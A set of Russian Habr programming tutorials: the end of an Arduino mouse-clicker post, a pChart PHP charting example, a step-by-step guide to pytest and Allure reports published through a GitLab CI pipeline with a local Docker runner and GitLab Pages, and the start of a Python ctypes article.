* когда в схеме «кликера» транзистор V1 закрыт, на Arduino поступает управляющий сигнал 3.3В, когда транзистор открыт — 0В;
* Arduino интерпретирует 3.3В, как руководство к нажатию ЛКМ;
* Arduino интерпретирует 0В, как руководство отпустить ЛКМ.
Вот программа для Arduino, которую я написал по этому поводу:
```
#define VACUUM_LINE 13
void setup()
{
pinMode(VACUUM_LINE, INPUT_PULLUP);
Mouse.begin();
}
void loop()
{
if (digitalRead(VACUUM_LINE) == HIGH)
{
Mouse.press();
delay(10);
}
if (digitalRead(VACUUM_LINE) == LOW)
{
Mouse.release();
delay(10);
}
}
```
Тестируем
---------
Вместо тысячи слов, предлагаю посмотреть одно видео:
Спасибо за внимание! Надеюсь моя статья помогла улучшить ваше настроение! | https://habr.com/ru/post/394859/ | null | ru | null |
# pChart — строим графики и диаграммы на PHP. Практика
Всем привет!
По наводке из статьи «[pChart — строим графики и диаграммы на PHP](http://habrahabr.ru/post/30202/)» реализовал у себя построение графиков. Вот так выглядит:
Примеры это, конечно, хорошо, но практическая реализация может помочь в понимании. Моё применение под катом.
Фреймвоков для построения графиков много. Есть платные хорошие, есть бесплатные неплохие. Мне pChart показался достаточно удобным и функциональным. Итак к реализации.
pChart работает следующим образом. Заносит данные в свой массив, рисует картинку с графиком, сохраняет её на диск. Затем надо эту картинку отобразить в документе.
```
php
/* Include all the classes pChart*/
include("class/pDraw.class.php");
include("class/pImage.class.php");
include("class/pData.class.php");
?
```
```
php
$myData = new pData();
//Тут должно быть соединение с базой, выполнение запроса.
while (list($dt,$sum) = mysql_fetch_row($result)) {
/* Сохранение данных в массив */
$myData-addPoints($sum,"Total");
$myData->addPoints($dt,"Labels");
};
$unique = date("Y.m.d_H.i");
$gsFilename_Traffic = "traffic_".$unique.".png";
$myData->setSerieDescription("Labels","Days");
$myData->setAbscissa("Labels");
$myData->setAxisUnit(0," KB");
$serieSettings = array("R"=>229,"G"=>11,"B"=>11,"Alpha"=>100);
$myData->setPalette("Total",$serieSettings);
$myPicture = new pImage(1250,400,$myData); // <-- Размер холста
$myPicture->setFontProperties(array("FontName"=>"fonts/tahoma.ttf","FontSize"=>8));
$myPicture->setGraphArea(50,20,1230,380); // <-- Размещение графика на холсте
$myPicture->drawScale();
$myPicture->drawBestFit(array("Alpha"=>40)); // <-- Прямая статистики
$myPicture->drawLineChart();
$myPicture->drawPlotChart(array("DisplayValues"=>FALSE,"PlotBorder"=>TRUE,"BorderSize"=>0,"Surrounding"=>-60,"BorderAlpha"=>50)); // <-- Точки на графике
$myPicture->drawLegend(700,10,array("Style"=>LEGEND_NOBORDER,"Mode"=>LEGEND_HORIZONTAL));// <-- Размещение легенды
$myPicture->Render("pChartPic\\".$gsFilename_Traffic);
?>
```
```
### Трафик
php echo $gsFilename_Traffic; ?
```
```
" />
```
Надеюсь, мой пример поможет новичкам (а, может, и не только). Пример простенький, ничего лишнего. Часто большего и не нужно. Дальше, при желании, можно наворачивать красивости. | https://habr.com/ru/post/205532/ | null | ru | null |
# Тесты на pytest с генерацией отчетов в Allure с использованием Docker и Gitlab Pages и частично selenium
Этот текст предназначен для начинающих тестировщиков, желающих понять как делать отчеты на allure с историей тестов, также разъяснить где их хранить, чтобы в отчет мог заглянуть любой участник вашей команды.
[Рабочий репозиторий с финальной версией рабочего кода и инфраструктуры](https://gitlab.com/Morjus/allure_pages)
[Ссылка на отчеты после прогона тестов](https://morjus.gitlab.io/allure_pages/)
Когда я хотел добавить в gitlab автотесты в стеке python, allure, docker, то я выяснил, что толковых статей на эту тему нет. Пришлось разбираться самостоятельно и как результат проб и ошибок появилась эта статья, которая скорее является гайдом, частично затрагивающим написание тестов, но наибольший фокус именно на выстраивании инфраструктуры. Если у вас уже написаны тесты на allure, то вы сразу можете переходить к разделу настройки инфраструктуры. Отмечу, что текст НЕ затрагивает написание UI тестов, но я затрону инфраструктуру для них в отдельном блоке.
Здесь не описаны лучшие практики по написанию тестов и выстраиванию инфраструктуры. Скорее ознакомление с тем, как можно все это организовать. Примеры выполнены на windows, на других системах подход примерно такой же.
Этот гайд предполагает, что у вас уже установлен python, настроен пустой репозиторий, куда вы будете отправлять свой код. При чтении статьи не обязательно знать pytest, но очень желательно знать что из себя представляет фикстура, как ей пользоваться, а так же параметризация тестов. Для тестирования будет использован [Dog API](https://dog.ceo/dog-api/). Если вас интересует локальный запуск тестов через gitlab, то вам необходимо установить docker.
Если у вас не установлено вышеперечисленное ПО, то ниже вы можете найти полезные ссылки:
* [Установка Python](https://docs.python.org/3.8/using/index.html)
* [Установка Allure](https://docs.qameta.io/allure/#_installing_a_commandline) Если вы хотите генерировать отчеты локально. В данной статье такой метод не рассматривается.
* [Скачать PyCharm Community](https://www.jetbrains.com/ru-ru/pycharm/download/)
* [Настройка ssh в git для отправки кода в gitlab](https://docs.gitlab.com/ee/ssh/)
* [Pytest — краткое руководство](https://coderlessons.com/tutorials/python-technologies/uznaite-pytest/pytest-kratkoe-rukovodstvo)
Содержание
----------
* Подготовка к написанию тестов
* Написание фикстуры и небольшого клиента для API тестов
* Пишем тесты
* Добавляем allure в тесты
* Делаем инфраструктуру для тестов
* Настройка репозитория
* Установка и настройка Gitlab Runner
* Настройка пайплайна в .gitlab-ci.yml
* Запуск тестов и просмотр отчета
* Настройка пайплайна для UI тестов
* Полезные ссылки
Подготовка к написанию тестов
-----------------------------
Я назвал свой репозиторий для этой статьи `allure_pages` и скопировал его на свой компьютер.
Нужно создать такую структуру в директории с репозиторием:
* `conftest.py` — будет использован для написания фикстур
* `requirements.txt` — для установки необходимых модулей в контейнере с python
* `test_dog_api.py` внутри отдельной директории tests для написания самих тестов
Далее создаем виртуальное окружение, которое будет использоваться для локального запуска тестов. В папке с проектом создаем его через командную строку с помощью следующей команды:
`python -m venv venv`
Открываем папку с репозиторием как проект в PyCharm
Удобнее всего, на мой взгляд устанавливать нужные нам пакеты через встроенный в PyCharm терминал. Для этого нужно добавить интерпретатор, и открыть терминал.
1. Жмем на `Add Interpreter` и если вы ранее создали в директории с проектом виртуальное окружение, то PyCharm сразу найдет нужный интерпретатор, который будет использован в проекте
2. Открываем терминал по этой кнопке
**Устанавливаем нужные пакеты для наших тестов в виртуальном окружении:**
Для этого введите в терминал следующие команды.
* `pip install requests` — для запросов, которые мы будем делать к сервису Dog Api
* `pip install pytest` — для тестов, само собой
* `pip install pytest-xdist` — для параллелизации тестов
* `pip install allure-pytest` — для генерации отчетов в allure
Очень важно после этого написать в терминале
`pip freeze > requirements.txt`.
> Файл `requirements.txt` нам понадобится для запуска тестов внутри докер контейнера.
>
>
>
> Если у вас возникла проблема с установкой пакетов, то можете воспользоваться такими зависимостями для requirements.txt
>
>
> ```
> allure-pytest==2.8.18
> pytest==6.0.1
> pytest-xdist==2.1.0
> requests==2.24.0
> ```
>
>
>
### Написание фикстуры и небольшого клиента для API тестов
Для того, чтобы упростить наши тесты создадим небольшой клиент для GET и POST запросов. Далее будет подробное описание этого клиента. Если вам это не нужно или кажется сложным, то пропустите эту часть статьи и переходите к следующей. На примере её использования станет ясно как пользоваться клиентом.
**Сама фикстура**
```
@pytest.fixture
def dog_api():
return ApiClient(base_address="https://dog.ceo/api/")
```
Ниже конструктор класса для клиента. При инициализации объекта класс принимает в себя аргумент base\_address, на его место нужно записать в фикстуре общий адрес для всех запросов в нашем случае будет использован `https://dog.ceo/api/`. Обратите внимание, что фикстура возвращает объект с базовым адресом для дальнейших GET и POST запросов.
```
class ApiClient:
def __init__(self, base_address):
self.base_address = base_address
```
Добавим в класс метод GET для отправки запросов.
```
def get(self, path="/", params=None, headers=None):
url = f"{self.base_address}{path}"
return requests.get(url=url, params=params, headers=headers)
```
Здесь можно заметить, что наш клиент является оберткой над библиотекой requests. В классе ApiClient аргументы `path`, `params`, `headers` метода `get` выступают в роли аргументов, которые передаются в `requests.get(url=url, params=params, headers=headers)`. Именно эта строчка и отвечает за выполнение запросов. Из адреса, использованного при инициализации объекта и пути, который мы передадим в дальнейшем в ходе теста, будет складываться полный адрес, который и будет использоваться в `requests.get`.
Добавим в класс метод POST. Его логика идентична, просто добавляется несколько аргументов, которые при желании можно заполнить данными.
```
def post(self, path="/", params=None, data=None, json=None, headers=None):
url = f"{self.base_address}{path}"
return requests.post(url=url, params=params, data=data, json=json, headers=headers)
```
В итоге у нас получается такой файл conftest.py:
```
import pytest
import requests
class ApiClient:
def __init__(self, base_address):
self.base_address = base_address
def post(self, path="/", params=None, data=None, json=None, headers=None):
url = f"{self.base_address}{path}"
return requests.post(url=url, params=params, data=data, json=json, headers=headers)
def get(self, path="/", params=None, headers=None):
url = f"{self.base_address}{path}"
return requests.get(url=url, params=params, headers=headers)
@pytest.fixture
def dog_api():
return ApiClient(base_address="https://dog.ceo/api/")
```
Пишем тесты
-----------
В самом сервисе Dog API есть много разных запросов. Если у вас есть опыт в написании тестов, то можете самостоятельно написать несколько тестов. Так как акцент в этой статье заключается в постройке инфраструктуры для тестов, я не буду вдаваться в подробности тестов. Ранее я это сделал, чтобы мой код был более менее понятен. Несколько параметризованных тестов специально сломаны, чтобы показать как они будут показаны в отчете. Так выглядит мой файл с тестами `test_dog_api.py`
```
import pytest
def test_get_random_dog(dog_api):
response = dog_api.get("breeds/image/random")
with allure.step("Запрос отправлен, посмотрим код ответа"):
assert response.status_code == 200, f"Неверный код ответа, получен {response.status_code}"
with allure.step("Запрос отправлен. Десериализируем ответ из json в словарь."):
response = response.json()
assert response["status"] == "success"
with allure.step(f"Посмотрим что получили {response}"):
with allure.step(f"Вложим шаги друг в друга по приколу"):
with allure.step(f"Наверняка получится что-то интересное"):
pass
@pytest.mark.parametrize("breed", [
"afghan",
"basset",
"blood",
"english",
"ibizan",
"plott",
"walker"
])
def test_get_random_breed_image(dog_api, breed):
response = dog_api.get(f"breed/hound/{breed}/images/random")
response = response.json()
assert breed in response["message"], f"Нет ссылки на изображение с указанной породой, ответ {response}"
@pytest.mark.parametrize("file", ['.md', '.MD', '.exe', '.txt'])
def test_get_breed_images(dog_api, file):
response = dog_api.get("breed/hound/images")
response = response.json()
result = '\n'.join(response["message"])
assert file not in result, f"В сообщении есть файл с расширением {file}"
@pytest.mark.parametrize("breed", [
"african",
"boxer",
"entlebucher",
"elkhound",
"shiba",
"whippet",
"spaniel",
"dvornyaga"
])
def test_get_random_breed_images(dog_api, breed):
response = dog_api.get(f"breed/{breed}/images/")
response = response.json()
assert response["status"] == "success", f"Не удалось получить список изображений породы {breed}"
@pytest.mark.parametrize("number_of_images", [i for i in range(1, 10)])
def test_get_few_sub_breed_random_images(dog_api, number_of_images):
response = dog_api.get(f"breed/hound/afghan/images/random/{number_of_images}")
response = response.json()
final_len = len(response["message"])
assert final_len == number_of_images, f"Количество фото не {number_of_images}, а {final_len}"
```
### Добавляем allure в тесты
Есть много разных подходов к написанию тестов с помощью allure. Так как сейчас рассматривается больше инфраструктура, то добавим совсем простые шаги. Для понимания написанного мною кода, я все же прокомментирую несколько моментов.
`with allure.step('step 1'):` — с помощью этого контекстного менеджера тело теста делится на шаги, понятные в отчете.
`@allure.feature('Dog Api') @allure.story('Send few requests')` — декораторы, с помощью которых сами тесты или тестовые наборы будут структурированы в отчете
> Это лишь малая часть возможностей allure, но для выстраивания инфраструктуры и дальнейшей доработки тестов этого хватит. Если вы хотите во всей полноте пользоваться возможностями allure, то рекомендую ознакомиться с [документацией](https://docs.qameta.io/allure/#_python)
Добавим в наш API клиент несколько allure шагов.
```
class ApiClient:
def __init__(self, base_address):
self.base_address = base_address
def post(self, path="/", params=None, data=None, json=None, headers=None):
url = f"{self.base_address}{path}"
with allure.step(f'POST request to: {url}'):
return requests.post(url=url, params=params, data=data, json=json, headers=headers)
def get(self, path="/", params=None, headers=None):
url = f"{self.base_address}{path}"
with allure.step(f'GET request to: {url}'):
return requests.get(url=url, params=params, headers=headers)
```
Добавим декораторы в тесты и снабдим их шагами. Так же добавлю излишние шаги, чтобы показать зависимость генерации отчета от кода. Здесь не описаны лучшие практики по написанию текста для шагов. Текст намеренно неформальный для простоты восприятия кода и отчета.
```
@allure.feature('Random dog')
@allure.story('Получение фото случайной собаки и вложенные друг в друга шаги')
def test_get_random_dog(dog_api):
response = dog_api.get("breeds/image/random")
with allure.step("Запрос отправлен, посмотрим код ответа"):
assert response.status_code == 200, f"Неверный код ответа, получен {response.status_code}"
with allure.step("Запрос отправлен. Десериализируем ответ из json в словарь."):
response = response.json()
assert response["status"] == "success"
with allure.step(f"Посмотрим что получили {response}"):
with allure.step(f"Вложим шаги друг в друга по приколу"):
with allure.step(f"Наверняка получится что-то интересное"):
pass
```
Сходным образом заполним шагами и декораторами остальные тесты. Финальный файл `test_dog_api.py`
```
import pytest
import allure
@allure.feature('Random dog')
@allure.story('Получение фото случайной собаки и вложенные друг в друга шаги')
def test_get_random_dog(dog_api):
response = dog_api.get("breeds/image/random")
with allure.step("Запрос отправлен, посмотрим код ответа"):
assert response.status_code == 200, f"Неверный код ответа, получен {response.status_code}"
with allure.step("Запрос отправлен. Десериализируем ответ из json в словарь."):
response = response.json()
assert response["status"] == "success"
with allure.step(f"Посмотрим что получили {response}"):
with allure.step(f"Вложим шаги друг в друга по приколу"):
with allure.step(f"Наверняка получится что-то интересное"):
pass
@allure.feature('Random dog')
@allure.story('Фото случайной собаки из определенной породы')
@pytest.mark.parametrize("breed", [
"afghan",
"basset",
"blood",
"english",
"ibizan",
"plott",
"walker"
])
def test_get_random_breed_image(dog_api, breed):
response = dog_api.get(f"breed/hound/{breed}/images/random")
with allure.step("Запрос отправлен. Десериализируем ответ из json в словарь."):
response = response.json()
assert breed in response["message"], f"Нет ссылки на фото с указанной породой, ответ {response}"
@allure.feature('List of dog images')
@allure.story('Список всех фото собак списком содержит только изображения')
@pytest.mark.parametrize("file", ['.md', '.MD', '.exe', '.txt'])
def test_get_breed_images(dog_api, file):
response = dog_api.get("breed/hound/images")
with allure.step("Запрос отправлен. Десериализируем ответ из json в словарь."):
response = response.json()
with allure.step("Соединим все ссылки в ответе из списка в строку"):
result = '\n'.join(response["message"])
assert file not in result, f"В сообщении есть файл с расширением {file}"
@allure.feature('List of dog images')
@allure.story('Список фото определенных пород')
@pytest.mark.parametrize("breed", [
"african",
"boxer",
"entlebucher",
"elkhound",
"shiba",
"whippet",
"spaniel",
"dvornyaga"
])
def test_get_random_breed_images(dog_api, breed):
response = dog_api.get(f"breed/{breed}/images/")
with allure.step("Запрос отправлен. Десериализируем ответ из json в словарь."):
response = response.json()
assert response["status"] == "success", f"Не удалось получить список изображений породы {breed}"
@allure.feature('List of dog images')
@allure.story('Список определенного количества случайных фото')
@pytest.mark.parametrize("number_of_images", [i for i in range(1, 10)])
def test_get_few_sub_breed_random_images(dog_api, number_of_images):
response = dog_api.get(f"breed/hound/afghan/images/random/{number_of_images}")
with allure.step("Запрос отправлен. Десериализируем ответ из json в словарь."):
response = response.json()
with allure.step("Посмотрим длину списка со ссылками на фото"):
final_len = len(response["message"])
assert final_len == number_of_images, f"Количество фото не {number_of_images}, а {final_len}"
```
Делаем инфраструктуру для тестов
--------------------------------
Здесь есть несколько моментов, о которых стоит написать:
* `.gitlab-ci.yml` — файл, где на языке разметки yaml описаны инструкции что нужно делать gitlab runner
* `gitlab-runner` — это проект, написанный на языке Go. Он будет выполнять инструкции. Есть несколько вариантов его использования. Мы будем писать инструкцию для gitlab runner, где он в свою очередь будет использовать docker для запуска тестов и всего остального. Далее по тексту он будет обозначаться просто "раннер". [Что это за сущность и с чем её едят можно найти здесь.](https://docs.gitlab.com/runner/)
Если у вас в компании уже настроена инфраструктура и вы можете попросить своего devops выделить вам раннер где-то в облаке, то сделайте это. Раннер можно использовать и локально на своем компьютере. В этом случае вам нужен установленный docker desktop на windows. В этом гайде мы будем использовать локальный раннер, но для облачного запуска вам нужно будет просто указать в .gitlab-ci нужный раннер.
> [Если у вас нет docker desktop, то здесь инструкция как его заиметь.](https://docs.docker.com/docker-for-windows/install/)
### Настройка репозитория
Сам репозиторий должен быть публичным, если вы используете gitlab.com. Если вы используете именно gitlab.com, то настраивать по тексту ниже не нужно. По умолчанию репозиторий уже будет готов ко всему, что нам понадобится для инфраструктуры.
Нужно зайти в настройки репозитория `Settings -> General -> Visibility, project features, permissions`, активировать `Pipelines` и сохранить изменения.
После этого в разделе настроек появится раздел `CI / CD`. Переходим `Settings -> CI / CD -> Runners`
Здесь переходим по [ссылке](https://docs.gitlab.com/runner/install/) в пункте 1 и согласно инструкции ставим себе на компьютер Gitlab Runner. Далее в статье адаптация инструкции на русском.
### Установка и настройка Gitlab Runner
Ниже инструкция, которую вы можете найти [здесь](https://docs.gitlab.com/runner/install/). Можете пройтись по ней самостоятельно. Далее в тексте будет сделано все по инструкции.
1. Создайте папку где-нибудь в системе, например: C:\GitLab-Runner.
2. Скачайте бинарник для x86 или amd64 и положите его в созданную папку. Переименуйте скачанный файл в gitlab-runner.exe. Вы можете скачать бинарник для любой доступной версии [здесь](https://docs.gitlab.com/runner/install/bleeding-edge.html)
3. Запустите командную строку [с правами администратора](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/starting-windows-powershell?view=powershell-7#with-administrative-privileges-run-as-administrator). (Сам я буду использовать обычный powershell с правами администратора)
4. [Зарегестрируйте раннер](https://docs.gitlab.com/runner/register/index.html)
5. Установите раннер как сервис и запустите его. Вы можете запустить службу, используя встроенную системную учетную запись (рекомендуется) или учетную запись пользователя.
С первыми тремя пунктами инструкции все понятно. Создаем папку, кладем в неё переименованный раннер и запускаем в директории powershell, то с четвертым и пятым пунктом могут возникнуть проблемы и недопонимание, если не потратить некоторое время на чтение документации. Далее простыми словами описаны шаги, которые нужно сделать, чтобы раннер заработал.
Я создал папку C:\gitlab\_runners и сохранил туда скачанный для моей системы раннер, предварительно переименовав в gitlab-runner.exe
Как только вы справились с первыми тремя пунктами, то нужно сделать следующее:
1. Ввести команду:
`./gitlab-runner.exe register`
2. Ввести url, указанный на странице настроек раннеров в репозитори в пункте 2. Например, у меня так:
`https://gitlab.somesubdomain.com/`
3. Ввести токен указанный на странице настроек раннеров в репозитори в пункте 3. Например, у меня так:
`tJTUaJ7JxfL4yafEyF3k`
4. Вводим описание раннера. Его потом можно будет изменить через UI в настроках раннера в репозитории. Например так:
`Runner on windows for autotests`
5. Добавляем теги для раннера, для того, чтобы описывать нужный раннер в .gitlab-ci.yml, используя определенные теги. Это в основном нужно, когда раннеров больше одного.
`docker, windows`
6. Выбираем тип раннера, который нам нужен. Здесь выберем docker
`docker`
7. Вводим дефолтный image, который будет использоваться раннером. Его можно будет изменить в конфиге раннера или указать конкретый в `.gitlab-ci.yml`
`python:3.8-alpine`
Скрншот с выполнеными шагами
Наш раннер зарегистрирован, теперь его нужно запустить.
Проверить статус раннера можно так:
`.\gitlab-runner.exe status`
Запустите раннер с помощью:
`.\gitlab-runner.exe run`
Теперь, если вы зайдете в настроки раннеров в репозитории `Settings -> CI / CD -> Runners`, то увидите что-то такое:
Это означает, что у репозитория есть линк с раннером и он видит его статус. Осталось добавить чекбокс в раннере. Для этого нужно нажать на карандаш рядом с именем раннера в гитлабе.
Все хорошо, теперь можно перейти к пайплайну.
### Настройка пайплайна в .gitlab-ci.yml
Инструкции для раннера описываются в `.gitlab-ci.yml`. Полная документация описана [здесь](https://docs.gitlab.com/ee/ci/yaml/).
Первым делом нам нужно описать stages. Шаги пайплайна. Их будет 4. Каждый stage — отдельный job, который будет выполнять раннер.
```
stages:
- testing # Запуск тестов
- history_copy # Копирование результата тестов из предыдущего запуска тестов
- reports # Генерация отчета
- deploy # Публикация отчета на gitlab pages
```
**Шаг первый. Testing**
```
docker_job: # Название job
stage: testing # Первый stage, который нужно выполнить
tags:
- docker # С помощью этого тега gitlab поймет, какой раннер нужно запустить. Он запустит докер контейнер, из образа, который мы указывали в 6 шаге регистрации раннера.
image: python:3.8-alpine # Нужно указать образ, который будет использоваться для запуска тестов.
before_script:
- pip install -r requirements.txt # Устанавливаем пакеты в поднятом контейнере перед запуском самих тестов
script:
- pytest -n=4 --alluredir=./allure-results tests/test_dog_api.py # Запускаем тесты параллельно(-n=4 обеспечивает нам это), указав папку с результатами тестов через --alluredir=
allow_failure: true # Это позволит нам продолжить выполнение пайплайна в случае, если тесты упали.
artifacts: # Сущность, с помощью которой, мы сохраним результат тестирования.
when: always # Сохранять всегда
paths:
- ./allure-results # Здесь будет сохранен отчет
expire_in: 1 day # Да, он будет удален через день. Нет смысла хранить его в течение длительного срока.
```
**Шаг второй. history\_copy**
```
history_job: # Название job
stage: history_copy # Это второй stage, который нужно выполнить
tags:
- docker # Пользуемся тем же самым раннером
image: storytel/alpine-bash-curl # Но теперь укажем раннеру использовать другой образ, для того чтобы скачать результаты теста из предыдущего пайплайна. Нам же нужна история тестов, верно?
script:
- 'curl --location --output artifacts.zip "https://(ВАШ ДОМЕН, например gitlab.example.com)/api/v4/projects/(АЙДИ ВАШЕГО РЕПОЗИТОРИЯ)/jobs/artifacts/master/download?job=pages&job_token=$CI_JOB_TOKEN"' # С помощью api гитлаба скачиваем файлы из job, который будет указан ниже. Обратите внимание на текст на русском в ссылке. Очень важно указать вместо текста и скобок номер вашего репозиториия
- apk add unzip # Образ, используемый в этом шаге по умолчанию не имеет утилиты unzip, по этой причине мы добавляем её в контейнер
- unzip artifacts.zip # Распаковываем файлы
- chmod -R 777 public # Даем права любые манипуляции с содержимым
- cp -r ./public/history ./allure-results # Копируем историю в папку с результатами теста
allow_failure: true # Так как при первом запуске пайплайна истории нет, это позволит нам избежать падения пайплайна. В дальнейшем эту строчку можно спокойно удалить.
artifacts:
paths:
- ./allure-results # Сохраняем данные
expire_in: 1 day
rules:
- when: always # Сохранять всегда
```
**Шаг третий. reports**
```
allure_job: # Название job
stage: reports # Третий stage, который будет выполнен
tags:
- docker # Пользуемся тем же самым раннером
image: frankescobar/allure-docker-service # Указываем раннеру использовать образ с allure. В нем мы будем генерировать отчет.
script:
- allure generate -c ./allure-results -o ./allure-report # Генерируем отчет из ./allure-results внутрь папки ./allure-report
artifacts:
paths:
- ./allure-results # Примонтируем две этих директории для получения результатов тестирования и генерации отчетов соответственно
- ./allure-report
expire_in: 1 day
rules:
- when: always
```
**Шаг четвертый. deploy**
```
pages: # Названием этой job говорим гитлабу, чтобы захостил результат у себя в pages
stage: deploy # Четвертый stage, который будет выполнен
script:
- mkdir public # Создаем папку public. По умолчанию гитлаб хостит в gitlab pages только из папки public
- mv ./allure-report/* public # Перемещаем в папку public сгенерированный отчет.
artifacts:
paths:
- public
rules:
- when: always
```
Финальный `.gitlab-ci.yml`
```
stages:
- testing # Запуск тестов
- history_copy # Копирование результата тестов из предыдущего запуска тестов
- reports # Генерация отчета
- deploy # Публикация отчета на gitlab pages
docker_job: # Название job
stage: testing # Первый stage, который нужно выполнить
tags:
- docker # С помощью этого тега gitlab поймет, какой раннер нужно запустить. Он запустит докер контейнер, из образа, который мы указывали в 6 шаге регистрации раннера.
image: python:3.8-alpine # Нужно указать образ, который будет использоваться для запуска тестов.
before_script:
- pip install -r requirements.txt # Устанавливаем пакеты в поднятом контейнере перед запуском самих тестов
script:
- pytest -n=4 --alluredir=./allure-results tests/test_dog_api.py # Запускаем тесты параллельно(-n=4 обеспечивает нам это), указав папку с результатами тестов через --alluredir=
allow_failure: true # Это позволит нам продолжить выполнение пайплайна в случае, если тесты упали.
artifacts: # Сущность, с помощью которой, мы сохраним результат тестирования.
when: always # Сохранять всегда
paths:
- ./allure-results # Здесь будет сохранен отчет
expire_in: 1 day # Да, он будет удален через день. Нет смысла хранить его в течение длительного срока.
history_job: # Название job
stage: history_copy # Это второй stage, который нужно выполнить
tags:
- docker # Пользуемся тем же самым раннером
image: storytel/alpine-bash-curl # Но теперь укажем раннеру использовать другой образ, для того чтобы скачать результаты теста из предыдущего пайплайна. Нам же нужна история тестов, верно?
script:
- 'curl --location --output artifacts.zip "https://(ВАШ ДОМЕН, например gitlab.example.com)/api/v4/projects/(АЙДИ ВАШЕГО РЕПОЗИТОРИЯ)/jobs/artifacts/master/download?job=pages&job_token=$CI_JOB_TOKEN"' # С помощью api гитлаба скачиваем файлы из job, который будет указан ниже. Обратите внимание на текст на русском в ссылке. Очень важно указать вместо текста и скобок номер вашего репозиториия
- apk add unzip # Образ, используемый в этом шаге по умолчанию не имеет утилиты unzip, по этой причине мы добавляем её в контейнер
- unzip artifacts.zip # Распаковываем файлы
- chmod -R 777 public # Даем права любые манипуляции с содержимым
- cp -r ./public/history ./allure-results # Копируем историю в папку с результатами теста
allow_failure: true # Так как при первом запуске пайплайна истории нет, это позволит нам избежать падения пайплайна. В дальнейшем эту строчку можно спокойно удалить.
artifacts:
paths:
- ./allure-results # Сохраняем данные
expire_in: 1 day
rules:
- when: always # Сохранять всегда
allure_job: # Название job
stage: reports # Третий stage, который будет выполнен
tags:
- docker # Пользуемся тем же самым раннером
image: frankescobar/allure-docker-service # Указываем раннеру использовать образ с allure. В нем мы будем генерировать отчет.
script:
- allure generate -c ./allure-results -o ./allure-report # Генерируем отчет из ./allure-results внутрь папки ./allure-report
artifacts:
paths:
- ./allure-results # Примонтируем две этих директории для получения результатов тестирования и генерации отчетов соответственно
- ./allure-report
expire_in: 1 day
rules:
- when: always
pages: # Названием этой job говорим гитлабу, чтобы захостил результат у себя в pages
stage: deploy # Четвертый stage, который будет выполнен
script:
- mkdir public # Создаем папку public. По умолчанию гитлаб хостит в gitlab pages только из папки public
- mv ./allure-report/* public # Перемещаем в папку public сгенерированный отчет.
artifacts:
paths:
- public
rules:
- when: always
```
### Запуск тестов и просмотр отчета
Осталось отправить в репозиторий все необходимые файлы, а именно:
1. `conftest.py`
2. Директорию `tests`
3. `requirements.txt` (Убедитесь, что там есть все нужные зависимости)
4. `.gitlab-ci.yml`
Отправляем и смотрим что получилось.
В первый раз пайплайн будет запускаться немного дольше, чем в следующие разы. Потому что ему нужно будет скачать нужные образы, запустить их и все такое. Заходим в репозиторий и через сайдбар переходим в `CI / CD -> Pipelines`
Здесь вы сможете увидеть статус пайплайна, а также перейти к Ci линтеру, где можете проверить конкретно свой .gitlab-ci.yml.
Когда пайплайн пройдет, увидеть ссылку и сам отчет можно через `Settings -> Pages`. При первом использовании pages в репозитории для просмотра страницы может понадобиться до 30 минут. Проходим по ссылке и смотрим отчет.
Получаем результат. Советую побродить по отчету и посмотреть результаты.
Сломаем несколько тестов, чтобы посмотреть, как будет отображаться история тестов. Затем подождем окончания пайплайна.
Как видите второй шаг в этот раз выполнился без ошибок. Это потому, на stage history\_job проблем с копированием истории предыдущих пайплайнов не возникло. Теперь посмотрим результат тестов.
Видна динамика, количество упавших тестов и все остальное. Для просмотра подробностей по тестам рекомендую посмотреть отчет самостоятельно.
Настройка пайплайна для UI тестов
---------------------------------
Реализовать их можно с помощью специальной сущности гитлаба `[services](https://docs.gitlab.com/ee/ci/services/)`. Это ключевое слово для использования докер образов, которые будут запущены до хода шагов в `script`. Для UI тестов нужно добавить в job пайплайна следующее:
```
services:
- selenium/standalone-chrome:latest
```
Так как нам нужно обращаться к контейнеру, который поднимет гитлаб по определенному url, то он каким-то образом назначает этому сервису url, по которому можно слать запросы. [Логика здесь такая:](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html)
* Все после `:` отбрасывается
* Слеш `/` заменяется двойным подчеркиванием `__` и создается главный алиас
* Слеш `/` заменяется одиночным дефисом `-` и создается дополнительный алиас (Необходим Gitlab Runner v1.1.0 и выше)
И теперь нужно изменить в фикстуре executor (по умолчанию используется chromedriver на вашей машине, но сейчас мы все это запускаем в контейнерах) для запуска ui тестов:
```
browser = webdriver.Remote(command_executor="http://selenium__standalone-chrome:4444/wd/hub")
```
Обратите внимание, что было в .gitlab-ci.yml:
`selenium/standalone-chrome:latest`
И по какому адресу нужно обращаться фикстуре для запуска тестов:
`selenium__standalone-chrome`
Для запуска моих тестов у меня получился такой job. Если добавить к нему три следующих job из примера с api тестами, то можно прогнать все тесты и получить отчет.
```
chrome_job:
stage: testing
services:
- selenium/standalone-chrome
image: python:3.8
tags:
- docker
before_script:
- pip install -r requirements.txt
script:
- pytest --alluredir=./allure-results tests/
allow_failure: true
artifacts:
when: always
paths:
- ./allure-results
expire_in: 1 day
```
Полезные ссылки
---------------
Помимо ссылок в статье, хочется поделиться еще несколькими, которые могут помочь в работе с allure и gitlab ci.
[Пример этого проекта на гитлабе](https://gitlab.com/Morjus/allure_pages)
[Ссылка на отчеты после прогона тестов](https://morjus.gitlab.io/allure_pages/)
[Статья об allure на хабре](https://habr.com/ru/company/jugru/blog/337386/)
[Введение в gitlab ci](https://habr.com/ru/company/softmart/blog/309380/)
*UPD: Спасибо комментаторам, за то, что указали мне на неточности и неполноту этого гайда. Я поправил и добавил ссылку на рабочий репозиторий* | https://habr.com/ru/post/513432/ | null | ru | null |
# C/C++ из Python (ctypes)
Про то как вызывать [Python из C](https://habr.com/ru/post/466181/) написал в прошлой статье, теперь поговорим как делать наоборот и вызывать **C/C++** из **Python3**. Раз начал писать об этом, то раскроем всю тему до конца. Тем более, что ни чего сложного здесь нет тоже.
C
-
Здесь все просто, Python умеет вызывать C функции без каких либо проблем.
test.c:
```
#include "test.h"
int a = 5;
double b = 5.12345;
char c = 'X';
int
func_ret_int(int val) {
printf("get func_ret_int: %d\n", val);
return val;
}
double
func_ret_double(double val) {
printf("get func_ret_double: %f\n", val);
return val;
}
char *
func_ret_str(char *val) {
printf("get func_ret_str: %s\n", val);
return val;
}
char
func_many_args(int val1, double val2, char val3, short val4) {
printf("get func_many_args: int - %d, double - %f, char - %c, short - %d\n", val1, val2, val3, val4);
return val3;
}
```
test.h:
```
#ifndef _TEST_H_
#define _TEST_H_
#ifdef __cplusplus
extern "C" {
#endif
#include
#include
#include
